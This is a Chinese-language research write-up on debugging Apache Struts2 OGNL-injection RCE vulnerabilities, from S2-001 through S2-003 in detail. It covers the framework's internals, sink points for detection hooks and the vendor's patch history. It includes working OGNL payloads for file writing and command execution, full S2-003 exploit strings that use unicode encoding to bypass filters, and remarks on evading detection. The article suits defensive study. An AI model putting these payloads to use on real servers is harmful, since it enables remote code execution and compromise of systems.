Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

0x01 前言

Struts2 漏洞调试总结

0x02 目录

点击左边连接可以直接跳到对应漏洞的调试记录。

链接描述
前言前言及简介
使用Struts2/OGNL 的简单使用及配置
S2-001OGNL 循环解析导致的 RCE 漏洞
S2-003对参数名使用 OGNL 解析导致的 RCE 漏洞
S2-005S2-003 的绕过
S2-007验证类型转换错误时,会导致二次表达式解析
S2-008S2-003 的绕过
S2-012重定向的路径中使用了 %{} 导致了的 RCE 漏洞
S2-013链接标签带入参数时导致的 OGNL 解析漏洞
S2-014S2-013 的绕过
S2-015result 中配置了用户可控的参数时导致了解析漏洞
S2-016对重定向前缀解析导致的漏洞
S2-018使用 action 前缀绕过访问控制限制
S2-019关闭了动态方法调用
S2-020在请求参数中使用 class.classloader 中的信息形成漏洞利用链
S2-021S2-020 的绕过
S2-022S2-020 在 Cookie 中的利用
S2-026在参数中,官方对 top['foo'] 形式的访问进行了拦截
S2-029在用户的错误配置下,可能导致 OGNL 解析漏洞,见 S2-059
S2-032在 DMI 开启时,使用 method 前缀可以导致任意代码执行漏洞
S2-033在使用 REST 插件,并启用动态方法调用时,可导致 RCE
S2-036在用户的错误配置下,可能导致 OGNL 解析漏洞,见 S2-059
S2-037在使用 REST 插件时,对方法名进行了解析,可导致 RCE
S2-045基于 Jakarta Multipart 解析器执行文件上传时可能导致 RCE
S2-046与 S2-045 相同的漏洞点,触发位置不同
S2-048struts2-struts1-plugin 存在远程代码执行漏洞
S2-052Xstream 反序列化
S2-053Struts2 在使用 Freemarker 模板引擎时,可能由于二次解析导致 RCE
S2-055Jackson 反序列化
S2-057namespace 处插入 OGNL 代码引发的漏洞
S2-059不正确的给标签属性添加 OGNL 解析,可能会造成二次解析导致 RCE
S2-061对 S2-059 沙盒的绕过

0x03 漏洞点

在文章编制过程中,有时是正向跟随漏洞触发逻辑,有时是逆向反推调用,这种情况对很多漏洞细节和触发并没有说的很清楚,而且对我个人来说,我是很讨厌拿个弹计算器 POC 一打,然后在 Runtime 下个断点就开始分析漏洞调用的文章。这样是无法以更高的层次去审视漏洞的。

所以在这里我汇总几个漏洞点的触发图,希望给看这个系列文章,或正在学习和调试 Struts2 漏洞的朋友一个更清晰的理解思路。

生命周期

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

通过上图可以看出,漏洞的出现一般位于请求刚进入框架时拦截器的解析,和在渲染结果时对标签、参数的处理。

漏洞位置

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

一个字,遍地开花。

触发点图

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

入口点仅示范性的写了几个。

0x04 漏洞成因

这里简单描述一下对于 Struts2 历史上的 RCE 的漏洞成因是什么。

来自不可信源的数据解析

Struts2 把来自命名空间、参数名、参数值、Cookie 值、文件上传文件名等等由攻击者可以控制的字段进行了解析,而中间可能没有进行安全校验和过滤,从而导致了安全漏洞。

逻辑上的二次解析

由于 Struts2 提供的对部分标签、配置的解析支持,允许程序在处理过程中使用 OGNL 解析其中部分变量的内容,而在用户配置不当的情况下,可能会导致二次解析,导致 OGNL 注入。

使用包含脆弱性的第三方组件

由于使用了 Xstream 和 Jackson 用来支持 xml 和 json 格式的参数,但是却未进行安全功能的限制,导致 Struts2 遭受了来自这两个组件安全风险的威胁。

沙箱和正则防御的绕过

Struts2 在 OGNL 注入防御上的步子是一步一步走的,而且是小碎步,官方根据安全人员的报告不停的在修修补补,更新正则,在绕过与修复中不断轮回,直到官方的修复越来越底层。但是即使是现在,官方也还是采取黑名单的方式,每当安全研究人员发掘了一个新思路,官方就把相应的包放在了黑名单中。

0x05 触发点

各个漏洞的漏洞触发点表面上大有不同,但是实际上在底层的调用是相同的。这一 part 用来给 RASP/IAST 积累一些思路。详见触发点图。

Struts2 依赖 OGNL 包完成表达式的解析,而 Struts2 调用 OGNL 包中的类位于 com.opensymphony.xwork2.ognl。看包路径可以知道,这实际上是 xwork2 的包,struts2 想要调用 OGNL 完成解析,就需要经过这个包下的类。

所以 Struts2 中全部有关 OGNL 的 RCE,sink 点都应该在这个包下,出了这个包,就是 OGNL 包了。但其实 Struts2 依赖 OGNL ,如果对 OGNL 包内的类进行 Hook 也完全没问题,但是一是很难与 source 点进行关联了,二是点下的太深进 Hook 点次数太多,可能影响效率,这个位置见仁见智。

话说回 Struts2,在 Struts2 调用 OGNL 这几个类下,我们重点关注几个类,第一个是 ValueStack 以及他的实现类 OgnlValueStack,因为在 Struts2 中这个类会作为 OGNL 解析的 ROOT 对象。作为 Root 对象里面存储了一些必要的信息,并且提供了解析参数等功能。

这些功能在实际上是依赖 OgnlUtil 来完成,这个工具类是 Struts2 与 Ognl 交互的最后一公里,Struts2 想要调用 OGNL ,就应该必须使用这个类,这个类提供了 getValue() 与 setValue() 两个必备的解析方法,以及一个 callMethod() 方法。最后,这几个方法都通过 OgnlUtil 的内部类 OgnlTask 的 execute 方法调用 OGNL 包内的方法进行解析,所以其实这里最好的 Hook 点应该是 OgnlUtil.OgnlTask 的 execute 方法。

出了 Struts2 就进入了 OGNL 包,调用逃不出 ognl.Ognl 的 getValue() 与 setValue() 方法,并且在解析前,会使用 parseExpression 将表达式解析成节点树。因此想要在 Ognl 包中下点,就下这三个点就可以了。

在将表达式解析成节点后,ognl 会依次调用每个子节点进行各自的处理逻辑,其中对于一些子节点,例如我们经常看到的 ASTChain、ASTMethod、ASTStaticMethod 等,他们的 setValue() 方法也会调用 getValue() 方法,因此其实最终的漏洞触发点就只有一个,那就是子节点的 getValue() 方法。

如果表达式中涉及到了方法调用,最终会由 OgnlRuntime 的 callMethod 和 callStaticMethod 方法,调用 callAppropriateMethod 方法进行判断和校验后,由 invokeMethod 方法进行调用。

以上就是对 Struts2 OGNL 表达式触发点的解析了,在这系列漏洞的研究过程中,我们经常会看见 TextParseUtil.translateVariables() 、UrlProvider.findString()Component.findString() 等等方法最终导致了漏洞的产生,而这些点其实都是中间调用点,最终的触发点还是在我们刚才说的那几个里面。

0x06 触发逻辑

在对 OGNL 注入漏洞进行利用的时候,除了直接写表达式之外,我们还使用了一些技巧。

多条表达式执行

在构造 Struts2 payload 的过程中,通常我们需要进行很多操作,这种情况需要我们一次执行多个表达式。

ASTSequence:one,two

使用逗号分隔多个表达式,多个表达式依次调用。

ASTEval:(one)(two)

多个表达式使用括号括起来,会分别执行,但同时这里会对 one 进行二次解析。

ASTChain:(one).(two)

使用链式调用的方式,会对每个括号内的进行解析并执行。

三目运算:one?two:three

由 PKAV 发在 wooyun 中的姿势,原文链接:http://drops.wooyun.org/papers/16875,在网上好像讨论较少。这种情况下也会对表达式依次执行。

二次解析

在某些版本 Struts2 中,为了绕过参数名的校验,或者为了对字符串进行二次解析,我们需要使用 OGNL 在解析过程中的一些特性。

TOP 关键字:top['foo'](0)

OGNL 使用 top 关键字可以访问第一个元素,在上面的写法,会对中括号中的字符串进行二次解析。

ASTEval:(one)(two)

ASTEval 写法会对 one 进行二次解析。

触发点差异

在之前的触发点中讨论过,对于 ognl 包来说,触发的方式就两种,一种的 setValue,一种是 getValue。而我们使用的漏洞利用方式的 setValue 会取其中的节点调用 getValue。也就是说,其实最终的触发点就只有一个,那就是 getValue。

对于 getValue 触发点的 payload,如果想用在 setValue 的触发点中,就要在外面再包裹一层,解析时将 payload 解析成其中的节点,再进行 getValue。

而包裹的方式使用 OGNL 调用的任意一个即可。例如二次解析中的 (one)(two),可以在外面包裹一层 three[(one)(two)],依旧是对 one 的二次解析。

0x07 攻防历史

对于 Struts2 漏洞攻防的历史,写出来可真是一部大戏,在研究过程中,我翻阅了现网大部分的复现和分析文章,其中 Lucifaer 的这篇文章写的清楚明白,大家可以进行参阅,我这里就不再机械的描述整个过程,在漏洞分析和调试的过程中我也有对版本更新和防护绕过的讨论,可以在其中进行查看。

在这章中,我单单凭借自己的理解从意识流上分析一下官方在这个周期中进行的安全防护。

结合整个漏洞分析过程,以及生命周期和触发点图,我们可以看到,官方对于 OGNL 注入的防护集中于三个位置:

  1. Source 点,也就是导致漏洞的参数最初的入口点,这个点通常是在拦截器中。
  2. Struts2 包中调用 ognl 包的最后一公里,包括 OgnlUtil、ValueStack、SecurityMemberAccess 等类。
  3. ognl 包中执行方法之前。

一开始,官方采取了你打我补的方式,使用正则对来自参数、Cookie 等攻击者可控的部分进行了处理,这种处理方式包括黑名单正则、白名单正则、过滤正则等,修修补补又一年,从哪里进来的恶意参数,就在哪补,这种修补流于表面,而且治标不治本。

后来官方也发现这种方式不太靠谱,在 Struts2 包中调用 OGNL 的地方进行修复,自定义了一个 DefaultMemberAccess 的子类 SecurityMemberAccess 进行安全验证,并在里面对一些禁止调用的包和类进行了黑名单处理,对于这个类的覆盖和里面属性的清空的攻防姿势又来来回回拉扯了几次。

再到后来官方真的无奈了,直接删除了 DefaultMemberAccess,并且下到 ognl 包中,在调用方法之前,把一些黑名单类直接写死在判断代码里。

通过这一系列过程我们可以看到,Struts2 官方对于漏洞的修复和安全意识的进步几乎完全依赖于安全研究者的通报,没有从开发的过程中去思考在某些位置使用解析会不会导致什么安全问题,所以我觉得如果有人有那个闲情逸致把我上面写的点都 sink 一下的话,再挖个 RCE 的入口点几乎还是没什么难度的。

0x08 一些 PAYLOADS

在前几章的演示中,一直使用 Runtime 或者 ProcessBuilder 弹计算器来实施漏洞的调试,在实战中,还可以有更多的选择,这里我尝试收集了一些小 payload,基本上都是常见的利用方式:

获取请求参数

可能使用请求参数的值来绕过防御

#param
#parameters.param[0]

文件上传

所谓文件上传实际上就是文件写入,以下 payload 从请求中获取参数

#fos=new java.io.FileOutputStream(#req.getParameter("filename"))
#fos.write(#req.getParameter("filecontext").getBytes())
#fos.close()

链式调用写法

new java.io.BufferedWriter(new java.io.FileWriter("filepath")).append(#req.getParameter("filecontent")).close()

request/response 对象

获取 request 对象

#[email protected]@getRequest()
#request=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest")

获取 response 对象

#[email protected]@getResponse()
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse")

命令执行

@[email protected]().exec('payload')
new java.lang.ProcessBuilder(new java.lang.String[]{"payload"}).start()

回显

一般都通过 response 对象来回显,可以 getWriter 写进去。

#writer=response.getWriter()
#writer.println("result")
#writer.flush()
#writer.close()

或 addHeader 加在响应头部都可以。

#response.addHeader("result",result);

以上的 payload 仅仅是网上比较常见的,但是其实还有多种实现方式,不局限于这几种,灵活搭配这些 payload,结合我们之前提到的各种不同的触发逻辑,再结合在漏洞调试中我们发现的 unicode 编码等特性,可以使 Struts2 的 payload 诡谲多变,不易被检测出来。

前言

本文针对 Struts2 历史版本的 RCE 进行研究和记录。由于漏洞较多,调试过程写的也比较细致,因此篇幅较长,将分为多篇文章进行发布,本文是第一篇,前置信息介绍以及 S2-001/S2-003/S2-005/S2-007/S2-008/S2-009 的漏洞调试。

一、简介

Apache Struts2 是一个非常优秀的 JavaWeb MVC 框架,2007年2月第一个 full release 版本发布,直到今天,Struts 发布至 2.5.26 版本,而在这些版本中,安全更新已经更新至 S2-061,其中包含了非常多的 RCE 漏洞修复。

本文将记录 Struts2 全版本的高危漏洞利用和攻防过程,也会保持更新。

二、使用

struts2 配置及使用

Struts2 是一个基于 MVC 设计模式的Web应用框架,它的本质就相当于一个 servlet,在 MVC 设计模式中,Struts2 作为控制器(Controller)来建立模型与视图的数据交互。Struts2 是在 Struts 和WebWork 的技术的基础上进行合并的全新的框架。Struts2 以 WebWork 为核心,采用拦截器的机制来处理的请求。这样的设计使得业务逻辑控制器能够与 ServletAPI 完全脱离开。

对于一次请求,Struts2 的执行流程如下:

1.Filter:首先经过核心的过滤器,也就是通常在 web.xml 中配置的 filter 及 filter-mapping,这部分通常会配置 /* 全部的路由交给 struts2 来处理。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

2.Interceptor-stack:执行拦截器,应用程序通常会在拦截器中实现一部分功能。也包括在 struts-core 包中 struts-default.xml 文件配置的默认的一些拦截器。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

3.Action:根据访问路径,找到处理这个请求对应的 Action 控制类,通常配置在 struts.xml 中的 package 中。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

4.Result:最后由 Action 控制类执行请求的处理,执行结果可能是视图文件,可能是去访问另一个 Action,结果通过 HTTPServletResponse 响应。

实现一个 Action 控制类一共有 3 种方式:

  • Action 写为一个 POJO 类,并且包含 excute() 方法。
  • Action 类实现 Action 接口。
  • Action 类继承 ActionSupport 类。

对上述流程有所了解后,我们就可以使用 struts2 搭建一个 web 应用了,框架的实现原理和技术细节将在下面漏洞分析时讨论,此处将不再提及。

struts2 执行流程图

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

OGNL 表达式

Struts2 中支持以下几种表达式语言:OGNL、JSTL、Groovy、Velocity。Struts 框架使用 OGNL 作为默认的表达式语言。

OGNL 是 Object Graphic Navigation Language (对象图导航语言)的缩写,是一个开源项目。它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法。

OGNL 的使用

表达式的使用非常简单,以下两行代码即可,其中“表达式”为我们编写的 OGNL 表达式,从后两个参数中获取值,“上下文”指的是 OGNL Context,“根”是 ognl 的 Root,可以为 JavaBean、List、Map、…. 等等很多值。

Object expression = Ognl.parseExpression("表达式");
Object result     = Ognl.getValue(expression,上下文,根);

其中需要注意的是,OGNL 表达式的取值范围只能在其 context 和 root 中。

OGNL Context

OGNL 上下文对象位于 ognl.OgnlContext,上下文实际上是就一个 Map 对象,可以由我们自己创建,通过 put() 方法在上下文环境中放元素。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在这个上下文环境中,有两种对象:根对象和普通对象。可以使用 setRoot() 方法设置根对象。根对象只能有一个,而普通对象则可以有多个。即:OgnlContext = 根对象(1个)+非根对象(n个)。

非根对象要通过 #key 访问,根对象可以省略 #key。获取根对象的属性值,可以直接使用属性名作为表达式,也可以使用 #Class.field 的方式;而获取普通对象的属性值,则必须使用后面的方式。

OGNL 主要有以下几种常见的使用:

  • 对于类属性的引用:Class.field
  • 方法调用: Class.method()
  • 静态方法/变量调用:@[email protected]('aaa') 或 @[email protected]_CONSTANTS
  • 创建 java 实例对象:完整类路径:new java.util.ArrayList()
  • 创建一个初始化 List:{'a', 'b', 'c', 'd'}
  • 创建一个 Map:#@[email protected]{'a':'aa', 'b':'bb', 'c':'cc', 'd':'dd'}
  • 访问数组/集合中的元素:#Arrays[0]
  • 访问 Map 中的元素:#Map['key']
  • OGNL 针对集合提供了一些伪属性(如size,isEmpty),让我们可以通过属性的方式来调用方法。

除了以上基础操作之外,OGNL 还支持投影、过滤:

  • 投影(把集合中所有对象的某个属性抽出来,单独构成一个新的集合对象):collection.{expression}
  • 过滤(将满足条件的对象,构成一个新的集合返回):collection.{?|^|$ expression}

其中上面 ?|^|$ 的含义如下:

  • ?:获得所有符合逻辑的元素。
  • ^:获得符合逻辑的第一个元素。
  • $:获得符合逻辑的最后一个元素。

在使用过滤操作时,通常会使用 #this,这个表达式用于代表当前正在迭代的集合中的对象。

OGNL 还支持 Lambda 表达式::[ ... ],例如计算阶乘 #f = :[#this==1?1:#this*#f(#this-1)] , #f(4)

还有使用数学运算符,使用“,”号连接表达式,in 与 not in 运算符,比较简单,不再赘述。

OGNL in Struts2

前面提到过,Struts 框架使用 OGNL 作为默认的表达式语言,那究竟 Struts2 是怎么操作 OGNL 的呢?重点关注的就是 OGNL 解析表达式中关键的三要素 expression、root、Context。

在 Struts2 中,OGNL 上下文即为 ActionContext ,而实际上存放内容是其中的 context,ActionContext 中的 get()/put() 方法实际上都在操作 ActionContext 中的 context。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

ActionContext 是 action 的上下文,也可以叫做 action 的数据中心,本质是一个 map,所有数据都存放在这里。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这里面存了一些属性,我们先来了解一下:

key存放内容
com.opensymphony.xwork2.ActionContext.localeLOCALE 常量
struts.actionMappingActionMapping 引用对象,其中包括name/namespace/method/params/result
com.opensymphony.xwork2.util.ValueStack.ValueStackValueStack 引用对象
attr按照 request > session > application 顺序访问 attribute
application
com.opensymphony.xwork2.ActionContext.application
当前应用 ServletContext 中的attribute
requestHttpServletRequest中的attribute
com.opensymphony.xwork2.dispatcher.HttpServletRequestrequest 引用对象
com.opensymphony.xwork2.dispatcher.HttpServletResponseresponse 引用对象
session
com.opensymphony.xwork2.ActionContext.session
HttpSession 中的attribute
parameters
com.opensymphony.xwork2.ActionContext.parameters
请求参数 HashMap
com.opensymphony.xwork2.dispatcher.ServletContextApplicationContext 对象
com.opensymphony.xwork2.ActionContext.name当前 action 的 name

OGNL 中的根对象即为 ValueStack(值栈),这个对象贯穿整个 Action 的生命周期(每个 Action 类的对象实例会拥有一个 ValueStack 对象)。当Struts 2接收到一个 .action 的请求后,会先建立Action 类的对象实例,但并不会调用 Action 方法,而是先将 Action 类的相应属性放到 ValueStack 的实现类 OgnlValueStack 对象 root 对象的顶层节点( ValueStack 对象相当于一个栈)。在处理完上述工作后,Struts2 就会调用拦截器链中的拦截器,这些拦截器会根据用户请求参数值去更新 ValueStack 对象顶层节点的相应属性的值,最后会传到 Action 对象,并将 ValueStack 对象中的属性值,赋给 Action 类的相应属性。当调用完所有的拦截器后,才会调用 Action 类的 Action 方法。ValueStack 会在请求开始时被创建,请求结束时消亡。

以上内容作为 Struts2 系列漏洞的基础铺垫,在了解以后可以开始下面的漏洞之旅了。

三、漏洞分析

S2-001

Struts2 对 OGNL 表达式的解析使用了开源组件 opensymphony.xwork 2.0.3,所以实际上这是一个 xwork 组件的漏洞,影响了 Struts2。

影响版本:WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 – WebWork 2.2.5, Struts 2.0.0 – Struts 2.0.8 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-001 描述:由于在 variable translation 的过程中,使用了 while(true) 来进行字符串的处理和表达式的解析,导致攻击者可以在可控的能解析的内容中通过添加 “%{}” 来使应用程序进行二次表达式解析,这就导致了ognl注入,也就是所谓的RCE漏洞。官方将这种解析方式描述为递归,实际上不是传统意义上的递归,只是循环解析。

此漏洞源于 Struts 2 框架中的一个标签处理功能: altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。altSyntax 功能在处理标签时,对 OGNL 表达式的解析能力实际上是依赖于开源组件 XWork。

首先来跟一下 Struts2 应用的访问流程,由于我们在 web.xml 中指定了由 Struts2 处理的 Filter 为 org.apache.struts2.dispatcher.FilterDispatcher,则程序会执行该类的 doFilter() 方法进行处理,方法的最后调用 this.dispatcher.serviceAction() 方法:

  • 通过 createContextMap() 方法将获取当前 HttpServletRequest/HttpServletResponse/ServletContext 中的相关信息放到 extraContext 中。
  • 通过 ActionProxyFactory 的 createActionProxy() 类初始化一个 ActionProxy,在这过程中也会创建 DefaultActionInvocation 的实例,并通过其 createContextMap() 方法创建一个 OgnlValueStack 实例,并将 extraContext 全部放入 OgnlValueStack 的 context 中。
  • 通过 ObjectFactory 的 buildAction() 实际上就是 ClassLoader 的 load 实例化了当前访问的 action 类,并将其放入 OgnlValueStack 的 root 中。

此时,应用程序以及在本次请求中创建了 OgnlValueStack 实例,并将当前请求的各种信息存入了其中的 context 里,然后将当前要访问的 action 实例放入了 root 中。

在 this.dispatcher.serviceAction() 方法的最后,执行创建的 ActionProxy 实例的 execute() 方法,调用创建的 DefaultActionInvocation 的 invoke() 方法,调用程序配置的各个 interceptors 的 doIntercept() 方法执行相关逻辑,其中的一个拦截器是 ParametersInterceptor,这个拦截器会在本次请求的上下文中取出访问参数,将参数键值对通过 OgnlValueStack 的 setValue 通过调用 OgnlUtil.setValue() 方法,最终调用 OgnlRuntime.setMethodValue 方法将参数通过 set 方法写入到 action 中,并存入 context 中。

此时 OgnlValueStack 实例中 root 中的 Action 对象的参数值已经被写入了。

在循环执行 interceptors 结束后,DefaultActionInvocation 的 invoke() 方法执行了 invokeActionOnly() 方法,这个方法通过反射调用执行了 action 实现类里的 execute 方法,开始处理用户的逻辑信息。

用户逻辑走完后,会调用 DefaultActionInvocation 的 executeResult() 方法,调用 Result 实现类里的 execute() 方法开始处理这次请求的结果。

如果返回结果是一个 jsp 文件,则会调用 JspServlet 来处理请求,然后交由 Struts 来处理解析相关的标签。

如果在 jsp 中想使用 struts2 的标签,需要在头部声明: <%@taglib prefix="s" uri="/struts-tags" %>,对于各个标签的属性及处理类,在 struts2-core 包中的 struts-tags.tld 中进行了定义,在对标签进行解析时,会根据不同的 tag 类型找到不同的 TagSupport 的实现类进行处理。

在解析一个标签如 <s:textfield name="username" label="用户名"/>,在标签的开始和结束位置,会分别调用对应实现类如org.apache.struts2.views.jsp.ComponentTagSupport 中的 doStartTag() 及 doEndTag() 方法:

  • doStartTag():获取一些组件信息和属性赋值,总之是些初始化的工作
  • doEndTag():在标签解析结束后需要做的事,如调用组件的 end() 方法

而这个漏洞的触发点,就从 doEndTag() 开始,这个方法调用组件 org.apache.struts2.components.UIBean 的end() 方法,随后调用 evaluateParams() 方法,这个方法判断了 altSyntax 是否开启,并调用 findValue() 方法寻找参数值:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

findValue() 方法调用了 com.opensymphony.xwork2.util.TextParseUtil#translateVariables 来解析和处理

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这个方法实际上就是真正的漏洞点,由于篇幅有限,这里不贴代码,用文字来描述一下逻辑:

  1. 对要解析的表达式寻找最外层的 %{},至于为什么是 %{},是在之前提到的 evaluateParams() 中定义的,并去除掉。
  2. 调用 ValueStack#findValue() 实际上是实现类 OgnlValueStack 的该方法来调用 OgnlUtils 解析这个表达式。
  3. 解析过后将解析结果替换回原来的表达式中,继续第一步,如果找不到 %{},则通过 break 跳出while(true) 循环。

到这一步,整个漏洞的原理就大概说清了,用户通过使用 %{} 包裹恶意表达式的方式,将参数传递给应用程序,应用程序由于处理逻辑失误,导致了二次解析,造成了漏洞。

那漏洞究竟是如何触发的呢?其实就在于,第一次 OGNL 解析,解析的是 %{var},解析的实际上是标签里写的变量名,而由于在 Struts 收到对应的 action 请求时,将 Action 对象的相关属性都放在了OgnlValueStack 的 root 对象中,此时由于是根节点的属性, OGNL 可以不使用 “#” 直接使用名称获得,也就获得我们输入的恶意表达式,此时再次进行二次解析,就完成了漏洞的触发。

而触发点,很多文章描述在表单验证失败,其实跟验证没关系,只是在一次请求中, ValueStack 中写入了用户请求参数,也就是对应 action 中的属性,在其消亡前如果被调用并解析,就会触发此漏洞。而在表单验证错误或成功或者任意情况,如果跳转回原来的页面,那在这个请求处理结束前,ValueStack 中的用户参数还依然存在,页面在解析标签时就会使用表达式解析将标签的内容解析出来重新展现在页面上。只是在登陆的位置或者配置了 Validation 的位置由于错误时会返回原来的界面,所以成为了漏洞经常出现的区域。

S2-003

Struts2 在解析参数时,将所有参数名都使用了 OGNL 来解析,构成了这个漏洞。

影响版本:Struts 2.0.0 – Struts 2.1.8.1 参考链接:https://cwiki.apache.org/confluence/display/WW/S2-003 描述:在拦截器 ParametersInterceptor 调用 setParameters() 装载参数时,会使用stack.setValue() 最终调用 OgnlUtil.setValue() 方法来使用 OGNL 表达式解析参数名,造成漏洞。

在之前梳理逻辑过程中提到过,程序会调用设置的拦截器栈来执行相关命令,其中一个拦截器是 ParametersInterceptor,这个拦截器会解析参数,将参数放入 OgnlValueStack root 中的 action 中,也同时将参数调用 set 方法写入要执行的 Action 类中。

在拦截器的 doIntercept() 方法中,初始化的过程中将 DENY_METHOD_EXECUTION 设置为 true。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

然后调用 setParameters() 方法,循环参数 Map,首先调用 this.acceptableName(name) 来校验参数名是否非法,在较低版本中是判断是否包含 #,=:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在高一点的版本中是使用正则来匹配

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

如果校验通过则调用 stack.setValue(name, value) 方法,这个方法会将待解析的表达式以 “conversion.property.fullName” 的值放在 context 里,然后调用 OgnlUtil.setValue() 方法。

中间有个 compile() 方法会先调用 ognl.Ognl#parseExpression 方法,这个方法创建了一个 OgnlParser 对象,并调用其 topLevelExpression() 方法解析给定的 OGNL 表达式,并返回可由 OGNL 静态方法使用的表达式的树表示形式(Node)。

在 OGNL 中,有一些不同类型的语法树,这些在在解析表达式的过程中,根据表达式的不同将会使用不同的构造树来进行处理,比如如果表达式为 user.name,就会生成 ASTChain,因为采用了链式结构来访问 user 对象中的 name 属性。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

这些树都是 SimpleNode 的子类中,且各子类都根据自己的特性需求对父类的部分方法进行了重写,这些特性可能导致表达式最终执行结果受到影响。这些树对应的表现形式以及重写的方法可以参考 这篇文章

而本次漏洞触发形式就在于 (one)(two) 这种表达形式,属于 ASTEval 类型。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

看一下解析执行流程:

  1. 取第一个节点,也就是 one,调用其 getValue() 方法计算其值,放入 expr 中;
  2. 取第二个节点,也就是 two,赋值给 source ;
  3. 判断 expr 是否为 node 类型,如果不是,则调用 Ognl.parseExpression() 尝试进行解析,解析的结果强转为 node 类型;
  4. 将 source 放入 root 中,调用 node 的 setValue() 方法对其进行解析;
  5. 还原之前的 root。

因此我们得知:使用 (one)(two) 这种表达式执行时,将会计算 one ,two,并将 two 作为 root 再次为 one 的结果进行计算。如果 one 的结果是一个 AST,OGNL 将简单的执行解释它,否则 OGNL 将这个对象转换为字符串形式然后解析这个字符串。

所以,比如使用 Runtime 弹计算器,原本的表达式可以这样写:

@[email protected]().exec('open -a Calculator.app')

但是使用 (one)(two) 可以改成这样:

('@java.lang.Runtime'+'@getRuntime().exec(\'open -a Calculator.app\')')('aaa')
('@[email protected]'+'getRuntime().exec(#aa)')(#aa='open -a Calculator.app')

将 one 用字符串括起来,甚至是进行拼接,后面再跟一个括号,这样程序就会对 one 进行二次解析,第一次解析成为字符串,第二次解析成为对应的 AST 并执行,也可以将其中的部分变量拆分到 two 中,因为 two 会作为 one 的 root 解析执行,可以拿到其中的值。

又由于表达式的执行是由右向左执行的,因此向右面写入更多个括号,都会依次拆分,最后执行到 one 表达式中:

('@java.lang.Runtime'+'@getRuntime().exec(\'open -a Calculator.app\')')('su18')('su19')('su20')('su21')('su22')('su23')('su24')('su25')('su26')('su27')('su28')('su29')

或者向左叠入更多层级的括号:

('su23')(('su22')(('su21')(('su20')(('su19')(('@java.lang.Runtime'+'@getRuntime().exec(\'open -a Calculator.app\')')('su18'))))))

这些写法都不影响最终 one 表达式的执行,如下图均可以成功弹出计算器:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

以上是使用Ognl.parseExpression() 加 Ognl.getValue() 来执行的,与 OgnlUtil.getValue() 一致。

那使用 OgnlUtil.setValue(),调用会一致吗?答案是否定的。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

如上图,我们的 payload 报错了,为什么呢?OgnlUtil.setValue() 的调用链为:OgnlUtil.setValue()-> OgnlUtils.compile() ->Ognl.setValue() -> Node.setValue() -> SimpleNode.evaluateSetValueBody() ->ASTEval.setValueBody()

在 ASTEval.setValueBody() 中,分别取了 children[0] 的 children[1] Node 并调用其 getValue() 方法。这个方法的调用链为:SimpleNode.getValue() 、SimpleNode.evaluateGetValueBody()、 ASTEval.getValueBody(),到这步进入了 OgnlUtil.getValue() 的漏洞触发链。

也就是说,在使用 OgnlUtil.setValue() 执行恶意表达式时,要比 OgnlUtil.getValue() 多出一步取节点并执行的步骤,如下图两种方法都可以弹出计算器:

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

上面讨论了调用静态方法的表达式,那如果想要修改 context 里的值呢?根据官方文档的描述和测试的结果,以下的方式都可以:

('#context[\'key\']=aaaa')('su18')
('#context[\'key\']')('su18')=aaa
('#context[\'key\']=#a')(#a='aaa')

还有关键的一点是:在对表达式进行解析时,由于在 OgnlParserTokenManager 方法中使用了 ognl.JavaCharStream#readChar() 方法,在读到 \\u 的情况下,会继续读入 4 个字符,并将它们转换为 char,因此 OGNL 表达式实际上支持了 unicode 编码,这就绕过了之前正则或者字符串判断的限制。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

在解析完表达式执行方法的时候,会调用 MethodAccessor#callMethod/callStaticMethod 方法,在调用之前会在 context 中取 xwork.MethodAccessor.denyMethodExecution 的值转为布尔型进行判断,如果是 true 则不会调用方法,只有为 false 才会进行调用。

Java Web安全之Java web常见漏洞-Struts2漏洞调试总结

因此,这个漏洞的触发流程就明确了,攻击者在参数名处传入恶意表达式:

  • 使用 unicode 编码特殊字符绕过对关键字符黑名单的判断;
  • 将 context 中的 xwork.MethodAccessor.denyMethodExecution 值修改为 false,这样在后面才可以调用方法;
  • 执行恶意的表达式。

因此 S2-003 的漏洞利用 payload 为:

(su18)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023su19')(\u0023su19\u003dnew\u0020java.lang.Boolean(false)))&(su20)(('\u0023su21.exec(\'open -a Calculator.app\')')(\u0023su21\[email protected]@getRuntime()))

或者

(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(su18)(su19)&(%27\u0023su20\[email protected]@getRuntime().exec(\%27open%20-a%20Calculator.app\%27)%27)(su21)(su22)

